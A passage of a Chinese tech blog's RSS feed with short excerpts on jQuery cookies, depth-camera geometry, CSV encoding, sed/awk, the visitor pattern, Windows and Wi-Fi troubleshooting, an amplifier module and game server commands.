      <description>1.引入两个js 去bootcdn搜索就行。 jquery.js&#xA;&amp;lt;script src=&#34;https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js&#34;&amp;gt;&amp;lt;/script&amp;gt; jquery cookie&#xA;&amp;lt;script src=&#34;https://cdn.bootcdn.net/ajax/libs/jquery-cookie/1.4.1/jquery.cookie.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 2.设置cookie $.cookie(“key”,“value”);&#xA;如: $.cookie(“love”,“唱跳rap篮球”); //设置了一个值为”唱跳rap篮球的cookie，cookie的名字是love&#xA;3.给cookie设置时长 $.cookie(“key”,“value”，{expires: 7}) ;设置为7天&#xA;4.设置cookie的域名 在不同网页中是不能访问同一个cookie的，所以可以设置cookie的域名，让cookie在这个域名下都能访问。&#xA;$.cookie(“key&#34;,“value”,{domain:“icyakuya.website”})&#xA;5.设置cookie的路径 可以结合域名一起使用，在本地文件运行也能使用。&#xA;$.cookie(“key”,“value”,{domain:“icyakuya”,path:“xxx/”}&#xA;path可以用过window.location.pathname 获取，这个获取到的是全路径包括文件名&#xA;所以需要做个截取:&#xA;function getPath(){&#xA;var path = window.location.pathname; //获取的是文件路径全名包括路径&#xA;var pos = path.lastIndexOf(&#34;/&#34;); //去除文件名&#xA;path = path.substring(0, pos);&#xA;return path;&#xA;}&#xA;6.删除cookie $.removeCookie(‘key’,{path:&#34;/&#34;}) ;//删除该路径下所有名为key的cookie&#xA;$.removeCookie(“key”,null,{path:&#34;/&#34;}) 将key的值设置为空，实际上相当于删除&#xA;7.获取cookie $.cookie(“name”)&#xA;注意: cookie的域名和路径都很重要，如果没有设置成一致，则会有不同域名下或者不同路径下的同名cookie，为了避免这种情况，建议在设置cookie和删除cookie的时候，配置路径和域名。&#xA;本地直接打开网页文件是获取不了cookie的，因为网页安全策略（类似于ajax访问数据跨域问题）。&#xA;像以下这种方式打开是无法读取到cookie的。&#xA;如果想要在网页文件中读取cookie，得从服务器打开此网页。&#xA;以下文章教你如何搭建一个简单的本地服务器：&#xA;vscode 两种方式使用live-server本地服务器打开文件，解决跨域问题</description>
    </item>
    <item>
      <title>RGB-D、TOF深度相机的原理</title>
      <link>https://bchobby.github.io/posts/90ae4df2837fba86a87a1e4316c31b51/</link>
      <pubDate>Tue, 03 Aug 2021 15:09:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90ae4df2837fba86a87a1e4316c31b51/</guid>
      <description>转载：https://www.cnblogs.com/sxy370921/p/11633568.html&#xA;RGB-D、TOF相机的原理 一、原理 RGB-D 图像中的rgb图片提供了像素坐标系下的x，y坐标，而深度图直接提供了相机坐标系下的𝑍坐标，也就是相机与点的距离。&#xA;根据 RGB-D 图像的信息和相机的内参，可以计算出任何一个像素点在相机坐标系下的坐标。&#xA;根据 RGB-D 图像的信息和相机的内参与外参，可以计算出任何一个像素点在世界坐标系下的坐标。&#xA;相机视野范围内，相机坐标系下的障碍物点的坐标，就是点云传感器数据，也就是相机坐标系下的点云数据。点云传感器数据可以根据 RGB-D 图像提供的坐标与相机内参算出来。&#xA;所有世界坐标系下的障碍物点的坐标，就是点云地图数据，也就是世界坐标系下的点云数据。点云地图数据可以根据RGB-D 图像提供的坐标与相机内参和外参算出来。&#xA;二、点云传感器数据-相机坐标系下的点云数据 相机坐标系下的点云数据是根据rgb图像提供的像素坐标系下的 x , y x,y x,y坐标（即公式中的 u ， v u，v u，v）和相机内参就能求出相机坐标系下的 X , Y X,Y X,Y坐标值。同时深度图直接提供相机坐标系下的 𝑍 𝑍 Z坐标值。进而得到相机坐标系下的坐标 P = [ X Y Z ] P=\begin{bmatrix} X\\Y\\Z \end{bmatrix} P=⎣⎡​XYZ​⎦⎤​，相机坐标系下的障碍物点的坐标，就是点云传感器数据，也就是相机坐标系下的点云数据。相机坐标系 p p p与像素坐标系 p U V p_{UV} pUV​下的点的坐标的关系公式:&#xA;Z P u v = Z [ u v 1 ] = [ f x 0 c x 0 f y c y 0 0 1 ] [ X Y Z ] = K P ZP_{uv}=Z\begin{bmatrix} u\\ v\\ 1 \end{bmatrix}=\begin{bmatrix} f_x&amp;amp;0&amp;amp;c_x\\ 0&amp;amp;f_y&amp;amp;c_y\\ 0&amp;amp;0&amp;amp;1 \end{bmatrix}\begin{bmatrix} X\\ Y\\ Z \end{bmatrix}=KP ZPuv​=Z⎣⎡​uv1​⎦⎤​=⎣⎡​fx​00​0fy​0​cx​cy​1​⎦⎤​⎣⎡​XYZ​⎦⎤​=KP</description>
    </item>
    <item>
      <title>小米路由器能搭建虚拟服务器吗,【教程】如何通过小米路由器构建文件共享服务...</title>
      <link>https://bchobby.github.io/posts/cc463d783c36c01cccf3b17188d010b8/</link>
      <pubDate>Tue, 03 Aug 2021 15:04:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc463d783c36c01cccf3b17188d010b8/</guid>
      <description>原文：http://bbs.xiaomi.cn/t-35112067&#xA;当有几台电脑在一个办公室办公的时候，可能都需要查看某一个文件，例如家里的库存还有多少，与某供应商的销售清单等等。这时候就需要用到局域网文件共享了。普通电脑的操作系统自带了文件共享功能可以实现这个功能，但需要24小时开机。不仅浪费能源，还对电脑硬盘的使用寿命有严重的影响。那有没有什么更方便成本也更低的方法呢?就是通过我们手边的小米路由器来实现。下面小编就教大家如何通过小米路由器实现24小时文件共享服务器。&#xA;▲小编手头上现有的是小米路由器3，该路由器采用了MT7620A的处理器搭配了128MB大容量内存以及128MB大容纳Flash。支持迅雷远程下载、手机相册备份以及媒体文件共享等功能。&#xA;▲小米路由器3背部有一个WAN口、两个LAN口以及一个USB接口，我们只需要准备一个容量稍微大点的U盘插在上面即可。&#xA;▲对比小米路由器MINI，区别就在于无线信号可能没有小米路由器3那么强大，路由器MINI也同样带有USB接口，也可以实现这个功能。路由器工作的时候是不是颜值也很不错呢?&#xA;方案一：&#xA;在电脑上安装小米路由器PC版软件，通过路由器软件访问路由器上的U盘。下载PC版软件请点击这里，下载完成后进行安装，完成后打开小米路由器软件。&#xA;▲在小米路由器的软件界面中进行登录，输入绑定该小米路由器的小米账号及密码。&#xA;▲登录成功后软件会自动在电脑屏幕的右下角显示，点击软件界面左上角的文件夹图标即可访问小米路由上的U盘了。然后在点击U盘中的共享文件夹，就可以看到我们共享的文件了。如果我们需要添加文件进去直接复制粘贴就可以。这种方法可以访问路由器上整个U盘的内容，不方便之处是每次都需要登录，在不同的电脑上需要登录同一个账号有很多的不方便，而且容易泄露自己的小米账号。</description>
    </item>
    <item>
      <title>导出CSV文件打开乱码</title>
      <link>https://bchobby.github.io/posts/4d9a55a50ee24da73bc56492a0c17e97/</link>
      <pubDate>Tue, 03 Aug 2021 14:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d9a55a50ee24da73bc56492a0c17e97/</guid>
      <description> 问题描述：导出的CSV有的电脑打开乱码，有的打开不乱码，此时如果用txt记事本打开，发现，里面内容是没有乱码的。&#xA;问题解决：导出文件开始的时候设置utf8的bom开头，excel默认使用ANSI编码，告知excel用utf8编码。&#xA;PrintWriter out = null; out = response.getWriter(); //设置utf8bom out.write(new String(new byte[]{(byte) 0xEF, (byte) 0xBB,(byte) 0xBF})); </description>
    </item>
    <item>
      <title>KITTI stereo disp_evalution遇到的无法打开源文件#include＜png&#43;&#43;/png.php＞</title>
      <link>https://bchobby.github.io/posts/3c358310c1916da05c7d71454e594522/</link>
      <pubDate>Tue, 03 Aug 2021 11:12:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c358310c1916da05c7d71454e594522/</guid>
      <description>KITTI stereo disp_evalution遇到的无法打开源文件#include&amp;lt;png++/png.php&amp;gt;@TOC&#xA;KITTI stereo disp_evalution遇到的无法打开源文件#include&amp;lt;png++/png.php&amp;gt; 搜了好久在网上（本人比较笨拙），&#xA;首先要下载png++，http://mirror.yongbok.net/nongnu/pngpp/png+±0.2.9.tar.gz解压&#xA;然后下载和配置libpng和zlib（之前就已经编译好了），然后三个包放在同一个目录下。&#xA;第二步：把kitti里的评估代码复制到新建的项目中去。&#xA;关键来了，就是在属性配置路径&#xA;然后把#include&amp;lt;png++/png.php&amp;gt;,改写成#include&amp;lt;png.php&amp;gt;。 #include&amp;lt;png++/png.php&amp;gt;的意思是png++包下的png.php的文件，所以可以把png++去掉。&#xA;ok，烦恼好几天的问题可算解决了。</description>
    </item>
    <item>
      <title>服务器状态关闭,通过web端启动关闭服务器程序以及检测程序运行状态</title>
      <link>https://bchobby.github.io/posts/6fcdb61f80e60e6a361e82a31cef5f57/</link>
      <pubDate>Tue, 03 Aug 2021 01:32:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fcdb61f80e60e6a361e82a31cef5f57/</guid>
      <description>#web端检测服务器程序运行，启动服务器程序，关闭服务器程序&#xA;import os&#xA;import sys&#xA;import time&#xA;import win32com.client&#xA;def check_exsit(process_name):&#xA;WMI = win32com.client.GetObject(&#39;winmgmts:&#39;)&#xA;processCodeCov = WMI.ExecQuery(&#39;select * from Win32_Process where Name like &#34;%{}%&#34;&#39;.format(process_name))&#xA;if len(processCodeCov) &amp;gt; 0:&#xA;return True&#xA;else:&#xA;return False&#xA;def game_status():&#xA;examples = [&#34;RSConsole.exe&#34;, &#34;CSConsole.exe&#34;, &#34;GSConsole.exe&#34;]&#xA;for example in examples :&#xA;res = check_exsit(example)&#xA;if not res :&#xA;return False&#xA;return True&#xA;def game_stop():&#xA;examples = [&#34;RSConsole.exe&#34;, &#34;GSConsole.exe&#34;, &#34;CSConsole.exe&#34;]&#xA;for example in examples :&#xA;res = check_exsit(example)</description>
    </item>
    <item>
      <title>sed awk基础使用</title>
      <link>https://bchobby.github.io/posts/880ee3da058c59f8b7eec241ca47b003/</link>
      <pubDate>Mon, 02 Aug 2021 20:57:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/880ee3da058c59f8b7eec241ca47b003/</guid>
      <description>sed 一般用于对文本内容做替换&#xA;awk 一般用于对文本内容进行统计，按需要格式输出&#xA;sed&#xA;sed的工作方式&#xA;1、将文件以行为标准读入到内（模式空间）&#xA;2、使用sed的每个脚本对该行进行操作&#xA;3、处理完后输出该行&#xA;替换命令 s&#xA;-e 执行多个替换命令&#xA;-i 保存替换&#xA;-r 支持拓展正则表达式&#xA;#默认情况下只替换一行中匹配的第一次的字符 sed&#39;s/old/new/&#39;filename sed&#39;s/old/new/&#39;filename1 filename2 sed -e &#39;s/old/new/&#39; -e &#39;s/old/new/&#39; filename sed -e &#39;s/old/new/&#39; -e &#39;s/old/new/&#39; filename1 filename2 sed &#39;s/old/new/&#39; ; &#39;s/old/new/&#39; filename1 filename2 sed -i &#39;s/old/new/&#39; &#39;s/old/new/&#39; filename sed &#39;s/正则表达式/new/&#39; filename sed -r &#39;s/拓展正则表达式/new/&#39; filename sed&#39;s/old/new/标志位&#39;filename #在同一行替换所有符合条件的字符 sed &#39;s/20/200/g&#39; date #在一行中替换指定的匹配到的次数（2为替换匹配的第二次） sed &#39;s/20/202/2&#39; date #p打印模式空间的内容 #对匹配成功的行打印一次（会输出两次） sed &#39;s/20/202/p&#39; date #-n对内容不做输出处理，又用户自己选择是否输出 sed -n &#39;s/20/202/&#39; date #(无任何输出) sed -n &#39;s/20/202/p&#39; date #（输出处理过的行） #只处理指定行 sed &#39;/正则/s/old/new/&#39; filename sed &#39;/正则/s/old/new/g&#39; filename sed &#39;/正则/s/old/new/2&#39; filename sed &#39;/2s/old/new/&#39; filename sed &#39;/2s/old/new/g&#39; filename sed &#39;/$s/old/new/&#39; filename # $ 表示最后一行 #替换2-5行 sed &#39;/2,5s/old/new/&#39; filename #正则和番号混用 sed &#39;/正则/,行号s/old/new/标志位&#39; filename sed &#39;/^20/,$s/old/new/&#39; filename #寻址后在一行中进行多条命令 sed &#39;/正则/{命令1;命令2}&#39; filename sed -n &#39;/^12/{s/20/111/;s/CST/000/}&#39; date sed -n &#39;/^12/{s/20/111/;s/CST/000/p}&#39; date #删除(删除模式空间累的文件，d后面的命令不会再被执行，直接开始新的一行) # sed &#39;/s2/d&#39; filename sed &#39;/^12/d&#39; date sed &#39;/^12/!</description>
    </item>
    <item>
      <title>win7计算机属性里面的图标变白,Win7系统桌面图标白边如何解决</title>
      <link>https://bchobby.github.io/posts/859ef5afd6d067a6f9c374df3cc328e2/</link>
      <pubDate>Mon, 02 Aug 2021 20:55:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/859ef5afd6d067a6f9c374df3cc328e2/</guid>
      <description>许多win7系统用户在使用过程中遇到这样一个问题，就是桌面图标出现了白边的情况，看着很是不舒服，该怎么解决呢，针对Win7系统桌面图标白边这个问题，小编给大家讲解一下具体的解决方法供大家参考。&#xA;方法一、&#xA;1、右击桌面--排列图标--把“在桌面上锁定定Web项目”前的对勾去掉；&#xA;2、右键我的电脑--属性--高级--性能--设置--视觉效果--自定义--在选择列表中勾选在桌面上为图标标签使用阴影--确定；&#xA;3、右键我的电脑--属性--高级--性能--设置--视觉效果--点选让Windows选择计算机的最佳设置--确定；&#xA;4、右键我的电脑--属性--高级--性能--设置--视觉效果--点选调整为最佳外观--确定；&#xA;5、右键单击桌面---属性---桌面---自定义墙纸----web----去掉所有勾选项目就好了。&#xA;可以尝试以下4种方法&#xA;1、右击“我的电脑”，依次单击“属性/高级/性能设置”在“视觉效果”页中将“在桌面上为图标标签使用阴影”选中，单击确定即可。&#xA;2、右键桌面空白处右击，在“排列图标”里去掉“锁定桌面的web项目”&#xA;3、有时会出现上述设置也不能解决问题，我们就可以通过新建一个用户的办法解决，但桌面图标、快速启动栏以及环境变量等等设置会恢复为默认状态，需要重新设置。(一般不用这项)&#xA;4、另一种方法也可轻松解决问题：右击桌面空白处，依次单击“属性/桌面/自定义桌面/web”选项，将“网页”栏中的“当前主页”以及“http//……”等所有各项前面的勾全部去掉(“http//……”为从Internet添加网页或图片的地址，一般不需要，可将它们全部删除)，并将下面“锁定桌面项目”前面的勾也去掉，单击确定完成设置，就又能看到可爱的桌面图标了。&#xA;另外有一种情况就是安装了某种程序之后(比如系统提示：是否将该Active Desktop项添加到您的桌面上)，桌面文字变的不透明。在“运行”中输入“gpedit、msc”，打开组策略；在“用户配置→管理模板→桌面→Active Desktop”中，点 启用Active Desktop(活动桌面)然后点击“属性”选定“已禁用”，点禁用Active Desktop (活动桌面)“属性”选定“已启用”；之后打开控制面板，在经典视图中打开系统，在“性能→高级选项→性能→视觉效果→使桌面文字透明”(等价于在之后执行第1种方法)。&#xA;方法二、&#xA;1、在“开始”---&amp;gt;运行---&amp;gt;打入“regedit”回车HKEY_USERS---&amp;gt;S-1-5-21-1121289129-3884528725-3932546534-1006&amp;gt;Software---&amp;gt;Microsoft---&amp;gt;Windows---&amp;gt;CurrentVersion---&amp;gt;Explorer---&amp;gt;Advanced；&#xA;2、找到“ShowCompColor”=“dword:00000001”更改为“dword:00000000”；&#xA;3、找到“ListviewShadow”=“dword:00000000”更改为“dword:00000001”；&#xA;4、重新启动即可。&#xA;关于Win7系统桌面图标白边如何解决就给大家介绍到这边了，有遇到同样情况的用户们可以参照上面的方法步骤来解决吧。&#xA;我要分享到：</description>
    </item>
    <item>
      <title>计算机 打印机型号编码不可用,打印机型号编码显示不可用</title>
      <link>https://bchobby.github.io/posts/89a1f31a5b39a0e789e2a5000bce1872/</link>
      <pubDate>Mon, 02 Aug 2021 15:23:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89a1f31a5b39a0e789e2a5000bce1872/</guid>
      <description>打印机型号编码显示不可用可以：&#xA;1、可能是由于病毒死机。&#xA;确定是否由于病毒死机，找一张干净(确信无病毒)的系统盘，从A驱动上启动电脑，检查此时打印机和主机能否联机。如果正常联机，估计这种故障是由攻击硬件设备性能的某种病毒所致，可运行ScanKill，CPAV等反病毒软件进行杀毒处理，即可排除故障。&#xA;2、打印口地址设置是否正确。&#xA;检查打印口地址设置是否正确，如果从A驱启动后仍不能联机，可检查打印口地址设里是否发生了变化。方法是再次启动机器。进入CMOS SETUP程序，查看打印机井行通信口LPTI的设置状况。其正常设置应为Enable，并行口地址位378H，如有改变，进行更正即可。&#xA;3、打印机连接电缆接口是否松动、脱落。&#xA;检查打印机数据通信连接情况，检查打印机连接电缆接口是否松动、脱落。如果条件具备的话。可更换打印机连接电缆，或者将打印机连接到另一台电脑上进行测试。完成上述几个步骤的检查后，如果打印机还不能与主机相连，则应考虑打印机本身的硬件故障。</description>
    </item>
    <item>
      <title>计算机 打印机型号编码不可用,win10系统查看打印机属性中描述不可用的解决方法...</title>
      <link>https://bchobby.github.io/posts/f3a8bdde26d581771f73e4bee5fb3742/</link>
      <pubDate>Mon, 02 Aug 2021 15:23:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3a8bdde26d581771f73e4bee5fb3742/</guid>
      <description>很多小伙伴都遇到过win10系统查看打印机属性中描述不可用的情况，想必大家都遇到过win10系统查看打印机属性中描述不可用的情况吧，那么应该怎么处理win10系统查看打印机属性中描述不可用呢？我们依照1、在开始菜单单击右键，选择“设备管理器”； 2、右键点击计算机，在弹出的菜单中选择“添加过时硬件”；这样的步骤就行了；下面小编带领大家看看win10系统查看打印机属性中描述不可用的具体步骤：&#xA;操作描述：先彻底将当前打印机驱动删除干净---下载对应打印机型号的驱动程序进行安装即可&#xA;首先将打印机驱动彻底卸载干净，然后按下面步骤来安装打印机驱动。&#xA;1、在开始菜单单击右键，选择“设备管理器”；&#xA;2、右键点击计算机，在弹出的菜单中选择“添加过时硬件”；&#xA;3、在弹出“添加硬件”窗口中点击“下一步”，如下图所示：&#xA;4、选择“安装我手动从列表选择的硬件(高级)”，然后点击“下一步”，如下图所示：&#xA;5、选择硬件类型窗口中选择“显示所有设备”，点击“下一步”，如下图所示：&#xA;6、安装设备驱动程序，请选择“从磁盘安装”；&#xA;7、点击“浏览”选择驱动安装的位置；&#xA;8、选择打印机驱动文件存放的位置，如下图所示，如果没有打印机的驱动程序，可以在打印机厂商官网下载驱动程序和软件。&#xA;9、点击“确定”，确认驱动程序的安装路径；&#xA;10、可以查看到选择设备的窗口中已经添加了HP的打印机，然后点击“下一步”；&#xA;11、在“向导准备安装的硬件”窗口中，直接点击“下一步”，如下图所示：&#xA;12、等待硬件驱动的安装，添加完成后会出现如下图窗口，点击“完成”，即可完成驱动的安装。&#xA;关于win10系统查看打印机属性中描述不可用的解决方法就给大家介绍到这边了，希望本教程内容可以帮助到大家。</description>
    </item>
    <item>
      <title>设计模式之访问者模式、例子分析</title>
      <link>https://bchobby.github.io/posts/4d89c0611429c689b73bf9611c65c573/</link>
      <pubDate>Mon, 02 Aug 2021 15:13:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d89c0611429c689b73bf9611c65c573/</guid>
      <description>1. 定义 访问者模式( Visitor)：表示一个作用于某对象结构中的各元素的操作。它使你可以在不改变各元素的类的前提下定义作用于这些元素的新操作&#xA;2. 使用前提 这个模式是很复杂的模式，一般情况下是用不上的，但是如果需要用那就是真的要用了&#xA;虽然蛮复杂，但也挺有意思的&#xA;首先，使用访问者模式的前提是，数据结构必须稳定的，不能更改，否则这个模式就需要修改很多类，违反了开放-封闭原则，原因是在访问者类（这个类是用来写具体逻辑或者说算法的类）里面，有针对数据结构的类实现的所有方法，如果数据结构相关类改变了，那么访问者类及其继承者都要变化&#xA;比方说，人类只有两个性别（不考虑变性以及具有医学争议的性别），男性和女性，那么男性和女性就是稳定的数据结构，是不会变化的，而访问者抽象类就必须有两个方法，即针对男性的方法（FocusonMen）以及针对女性的方法（FocusonWomen），刚好一个方法对应男性（里面写针对男性所需要的逻辑），一个方法对应女性（里面写针对女性所需要的逻辑），数据结构稳定所以其访问者实现的两个方法也是稳定的&#xA;访问者模式的目的，是要把处理从数据结构分离出来。很多系统可以按照算法和数据结构分开，如果这样的系统有比较稳定的数据结构，又有易于变化的算法的话，使用访问者模式就是比较合适的，因为访问者模式使得算法操作的增加变得容易。反之，如果这样的系统的数据结构对象易于变化，经常要有新的数据对象增加进来，就不适合使用访问者模式&#xA;那其实访问者模式的优点就是增加新的操作很容易，因为增加新的操作就意味着增加一个新的访问者。访问者模式将有关的行为集中到一个访问者对象中&#xA;3. 访问者模式结构图与代码模板 结构图：&#xA;模板代码：&#xA;4. 举例与分析 题目：&#xA;针对人类的男性和女性，用访问者模式的思想，实现下面的话：&#xA;男人成功时，背后多半有一个伟大的女人。女人成功时，背后大多有一个不成功的男人。&#xA;男人失败时，闷头喝酒，谁也不用劝。女人失败时，眼泪汪汪，谁也劝不了。&#xA;男人恋爱时，凡事不懂也要装懂。女人恋爱时，遇事懂也装作不懂。&#xA;分析题目：&#xA;人类的男性和女性是不会变化的，人类只有男性和女性，符合使用访问者模式的前提分析这些话，会发现除了男人女人外，还有其“成功”、“失败、“恋爱”三种状态，这些状态男性女性都有，可以当做访问者模式里的访问者类处理另外，这些话里面还有着最终结果，即“背后多半有个成功的女人”等，可以当做是访问者类的内部逻辑是打印这句话我们发现这些话是有顺序的，男性后就是女性，所以我们可以构造一个对象结构类，里面一次调用其男女方法（可以当做算法的顺序来理解） 结构图：&#xA;代码：&#xA;构建抽象人类 abstract class Person { public abstract void Apply(State state);//与状态联系起来，即与访问者联系起来 } 继承于抽象人类的具体性别，男性、女性 //男性 class Men : Person { public override void Apply(State state) { state.GetMenState(this);//调用访问者即状态类的方法，并把自身当做参数传入 } } //女性 class Women : Person { public override void Apply(State state) { state.GetWomenState(this);//调用访问者即状态类的方法，并把自身当做参数传入 } } 此处，运用了双分派的技术，首先在客户程序中将具体状态作为参数传递给“男人”类完成了一次分派，然后“男人”类调用作为参数的“具体状态”中的方法“男人反应”,同时将自己(this）作为参数传递进去。这便完成了第二次分派</description>
    </item>
    <item>
      <title>✔G【OPA828】放大器模块 超低输入电流偏置 同相/反相放大器 跟随器</title>
      <link>https://bchobby.github.io/posts/dff080623bde79086cfd75486d08f036/</link>
      <pubDate>Mon, 02 Aug 2021 14:21:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dff080623bde79086cfd75486d08f036/</guid>
      <description> 文章目录 一、亮点带宽压摆率 二、模块参数供电参数同相放大器反相放大器跟随器 ~~三、原理图~~四、模块接线说明五、测试1、跟随器2、同相放大器放大倍数带宽 3、反相放大器放大倍数带宽 ~~六、注意事项~~ 芯片手册：OPA828&#xA;一、亮点 带宽 Gain Bandwidth: 45 MHz&#xA;压摆率 Slew Rate: 150 V/μs&#xA;二、模块参数 供电 双电源、±5V&#xA;参数 同相放大器 放大倍数：约10倍&#xA;带宽：2.1M以下基本能保持约10倍增益&#xA;反相放大器 放大倍数：约10倍&#xA;带宽：1.2M以下基本能保持约10倍增益&#xA;跟随器 带宽：12M&#xA;三、原理图 四、模块接线说明 五、测试 1、跟随器 在±5V供电的情况下，输入幅值1V的正弦波，频率在0~12M之间幅度基本保持在1V左右，但是10M开始会有略微的变形，如图：&#xA;2、同相放大器 放大倍数 测试情景：±5V供电、200mV、1kHz的正弦波&#xA;测试结果：输出信号幅值为2.02V，即放大倍数为10.1倍，约10倍&#xA;带宽 测试情景：±5V供电、200mV、正弦波&#xA;频率f（Hz）输出电压Vo（V）增益（G）0~1.2M1.989.92M1.969.85M1.547.7100.8450M0.1040.52 3、反相放大器 放大倍数 测试情景：±5V供电、200mV、1kHz的正弦波&#xA;测试结果：输出信号幅值为1.94V，即放大倍数为9.7倍，约10倍&#xA;带宽 测试情景：±5V供电、200mV、正弦波&#xA;频率f（Hz）输出电压Vo（V）增益（G）0~1.2M1.949.72M1.889.45M1.467.3100.73.550M0.0330.165 六、注意事项 </description>
    </item>
    <item>
      <title>苹果手机为啥显示无服务器,苹果6显示无服务怎么回事</title>
      <link>https://bchobby.github.io/posts/fb4c38e61d3780e590b0bf14040080b1/</link>
      <pubDate>Mon, 02 Aug 2021 13:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb4c38e61d3780e590b0bf14040080b1/</guid>
      <description>大家好，我是时间财富网智能客服时间君，上述问题将由我为大家进行解答。&#xA;以iOS 8.0系统为例，苹果6显示无服务，其原因有：&#xA;1、首先检查SIM是否损坏；&#xA;2、可能是系统问题所致；&#xA;3、还有可能是网络环境问题所致。&#xA;iPhone6这款设计图出自设计师卡萨巴-纳吉(Csaba Nagy)之手，而在他眼中的iPhone6应该朝着透明的方向靠拢。因而，他将该设备打造成了一款极薄、透明，且内置有可互动玻璃外观的“神机”。据悉，iPhone6拥有一个内置有LED灯的HOME键，只有在用户按下时才会亮起。而且，该手机还具备有全息投影功能，可以将手机画面投射到一块相对更宽的背景中。这款iPhone6设计图出自莱恩-安妮(Ran Avni)和西蒙-伊恩文吉斯塔(Simone Evangelista)之手。该机所采用的是4.7寸屏幕、搭载A8处理器、内置1GB内存，并配备了1810mAh电池。而且，该设备的整机厚度仅为6.5毫米。由设计师ISKlander Utebayev创作的这款iPhone6设计图完全取消了原本的实体按键设计，并以数字虚拟按钮的形式进行了替代，科技感非常足，而且整体上看效果也是非常酷炫的。被列入果粉最爱的iPhone6概念机设计列单中也是十分够格的。</description>
    </item>
    <item>
      <title>win7系统wifi没有网络连接到服务器,Win7无线Wifi无法连接怎么办？win7系统Wifi无法连接的三种故障原因及解决方法...</title>
      <link>https://bchobby.github.io/posts/d390d8dbe340ee107e8776ae79be8f9e/</link>
      <pubDate>Mon, 02 Aug 2021 12:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d390d8dbe340ee107e8776ae79be8f9e/</guid>
      <description>当我们准备接入一个Wifi的时候，发现怎么样都连不进去，该怎么办呢？一般出现该问题基本是由于“WiFi密码不正确” 、“Win7中保存的WiFi记录与路由器中不符” 、“路由器中限制”三点所造成的！下面脚本之家的小编就给大家分别介绍下解决方法。&#xA;故障原因一：WiFi密码不正确&#xA;当Win7笔记本电脑连接WiFi时，如果使用的WiFi密码不正确，那么肯定是无法连接WiFi上网的。&#xA;解决方法：&#xA;请先检查下你在Win7中填写的WiFi密码是否正确。&#xA;备注：笔记本小键盘开启的时候也会有影响，输入密码前关闭“小键盘”。&#xA;故障原因二：路由器中限制&#xA;路由器是可以限制局域网中电脑上网的，如果路由器中开启了“上网控制”、“家长控制”、“无线MAC地址过滤”等功能，就会出现Win7笔记本电脑连接不上WiFi的问题。&#xA;解决方法：&#xA;我们只需要进入到路由器将这些功能关闭即可。不同的无线路由器，设置界面不一样，我们登入到路由器中查找相关功能即可(一般显示为“上网控制”、“安全设置”)。实在找不到，可以把你的无线路由器先恢复出厂设置，然后重新设置路由器上网，即可解决问题。(路由器恢复出厂设置方法)&#xA;故障原因三：Win7中保存的WiFi记录与路由器中不符&#xA;解决方法：&#xA;1、找到桌面上的“网络”图标，然后鼠标右键，选择“属性”；&#xA;2、或者在屏幕右下角的网络图标上单击右键，选择“ 网络和共享中心”；&#xA;3、在网络和共享中心页面，点击“管理无线网络”；&#xA;4、在“管理无线网络”页面中，找到需要删除的wifi热点名称，然后鼠标右击，选择“删除网络”；&#xA;5、在弹出的对话框中，点击“是”；&#xA;6、重新搜索无线，连接，输入最新密码即可解决。&#xA;相关阅读：&#xA;以上就是对win7系统Wifi无法连接的三种故障原因及解决方法全部内容的介绍，有此问题的朋友可以自我排查原因，按照对应的解决方法进行问题的解决！</description>
    </item>
    <item>
      <title>pubg国际版服务器没有响应,PUBG显示服务器没有正常执行 | 手游网游页游攻略大全...</title>
      <link>https://bchobby.github.io/posts/b316e6cba0cad0b6d4aba21ae799fdea/</link>
      <pubDate>Mon, 02 Aug 2021 11:56:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b316e6cba0cad0b6d4aba21ae799fdea/</guid>
      <description>发布时间：2017-12-28&#xA;刷不出服务器怎么办?一些玩家遇到了不出现服务器的情况,下面就为大家介绍不显示服务器解决方法,一起来看看吧. 流放者柯南不显示服务器解决方法: 1.右上角打钩,再刷新,等 ...&#xA;标签：&#xA;攻略&#xA;发布时间：2017-05-18&#xA;新手在玩我的世界服务器时候会很茫然,不知道有哪些命令,今天游戏园小编为大家带来了这些命令的大全,想了解的朋友快来看看吧,希望大家能够喜欢! 基础插件(Essentials)命令 是根据官方文档翻译的ESS基础插件(Ess ...&#xA;标签：&#xA;我的世界 游戏攻略&#xA;发布时间：2016-02-18&#xA;我的世界1.6.2服务器指令大全介绍给玩家,还可以利用服务器实现联机来进行多人游戏.在服务器中有很多指令,玩家们可以利用指令来实现很多功能,大大增加了游戏的效率. 查询类: /co i 查询方块放置/破坏记录,容器进出记 ...&#xA;标签：&#xA;我的世界 我的世界1&amp;amp;period;6&amp;amp;period;2 我的世界1&amp;amp;period;6&amp;amp;period;2服务器指令&#xA;发布时间：2017-10-28&#xA;许多我的世界腐竹玩家都在问一个问题如何清理区块,毕竟区块一多加载起来就麻烦,就会形成卡顿,那么怎样清理呢?下面就请大家一起来看看吧! 您的服务器是否卡顿.延迟高.tps低下? 如果是这样的话,你来对了地方 laggrem ...&#xA;标签：&#xA;我的世界 游戏攻略&#xA;发布时间：2016-03-13&#xA;相关推荐:专题 SERVER(服务器)用指令集 指令名称 建议设置值 说明banid 时间 #编号 kick 踢人让他换名字后也进不来,除非他换计算机,时间=0即永远deathmatch 0 ...&#xA;标签：&#xA;发布时间：2016-03-01&#xA;反恐精英1.5:点击下载 反恐精英1.5秘籍大全 说明:只有在sv_cheats 1(即服务器允许用秘籍且你是服务器)时才能使用以下指令 指令名称 说明 give spaceweapon_a ...&#xA;标签：&#xA;发布时间：2016-04-10&#xA;SERVER(服务器)用指令集指令名称 建议设置值 说明banid 时间 #编号 kick 踢人让他换名字后也进不来,除非他换计算机,时间=0即永远deathmatch 0 开启混战模式,一个人一组,把其它人解决掉dec .</description>
    </item>
    <item>
